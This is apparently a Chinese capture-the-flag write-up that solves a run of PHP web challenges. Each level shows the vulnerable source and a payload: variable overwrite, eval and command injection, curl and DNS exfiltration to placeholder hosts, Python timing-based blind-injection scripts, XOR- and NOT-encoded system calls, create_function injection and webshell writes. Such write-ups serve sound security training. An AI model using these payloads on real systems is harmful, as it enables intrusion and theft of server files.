if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
虚假的前端,在网址后面输入/admin进入源码界面
后面还是挺简单的
看个小例子大家就懂了
if(true && true || false){
echo 123;
}
结果是123所以对于题目来说,我们只要保证$username ==="admin"
,其他的不满足就可以了
payload:username=admin&password=1&code=admin
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
也是先给大家举个小例子
get传参 F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
无回显我们可以用反弹shell 或者curl外带 或者盲注
这里的话反弹没有成功,但是可以外带。
curl http://xxx:4567?p=`tac f*`
当然要是没有公网ip的话,bp也可以帮到我们这个忙
payload: curl -X POST -F [email protected] http://xxx
具体使用方法如下
执行后我们查看bp中的内容
得到flag
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
考察点 :POST数组的覆盖
测试代码
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123
题目中还有个extract($_POST)
这样的话 $a==123
payload:_POST[key1]=36d&_POST[key2]=36d
在133的基础上增加了curl和其他一些字符的过滤,这时候其实可以通过ping得到flag的
payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn
获得dns地址
不知道为啥在133可以135不可以,没办法,只能再想个其他的命令了
发现没有限制写文件
payload:F=`$F `;nl f*>xxx
然后再去访问url/xxx就可以得到flag了
其实是再135的基础上增加了过滤 ><
但是linux中还可以用tee写文件
ls|tee xxx
我们先来看下当前目录下有啥文件,访问url/xxx发现只有一个index.php
那我们再去看看根目录下有什么文件
ls /|tee xxx
得到 f149_15_h3r3
最后直接打开就可以了
nl /f149_15_h3r3|tee xxx
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
没有难度的一道题,考察调用类中的函数
payload:
ctfshow=ctfshow::getflag
拓展
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
在上一题的基础上过滤了冒号
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
具体使用方法如下
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。
猜测文件名
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
得到flag所在文件 f149_15_h3r3,接着盲注文件内容
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。
如果容易出错的话,可以在payload=xxx前面加个time.sleep(0.1)
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
所以方法就挺多了
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
还有很多,大家可以自行探索
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
先来看下正则表达式
/^\W+$/
作用是匹配非数字字母下划线的字符
构造命令还是很简单的,大家可以看下我之前写过的一篇文章随便一种方式都可以构造出命令。我们先放到最后说,现在最主要的任务是return怎么绕过。
大家可以看下下面的示例
eval("return 1;phpinfo();");
会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();
是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
所以最终payload
v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
payload:v1=0
过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令
具体命令构造参考前面写的文章
payload:
v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
相对上面的几道类似的弱化了些
payload:
v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
考察点:三目运算符的妙用
小测试
eval("return 1?phpinfo():1;");
这样是可以执行phpinfo()的
所以只需要在前面的payload上稍加改动就可以了
payload:
v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1
又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符
eval("return 1==phpinfo()||1;");
payload:
v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
考察点:create_function()代码注入
create_function('$a','echo $a."123"')
类似于
function f($a) {
echo $a."123";
}
那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于
function f($a) {
echo 1;}phpinfo();//
}
从而执行phpinfo()命令
fuzz后发现%5c可以绕过这个正则表达式,具体原理可以看下这篇文章
这样我们就可以执行任意命令了
payload
get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
没有过滤^,所以直接异或构造就可以了。
payload
code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
后来问了下出题人发现这不是预期解,预期解是利用中文变量
payload
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是利用异或构造
"`{{{"^"?<>/"; 异或出来的结果是 _GET
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
非预期,直接往index.php里面写一句话
payload
ctf=index.php
show=
预期解 条件竞争
ctf=1.php
show=
使用bp不断访问并传参,然后开一个去不断访问 1.php
非预期
日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为
然后包含日志文件后如下图所示
预期解暂未做出来,先到这了。我们下篇见。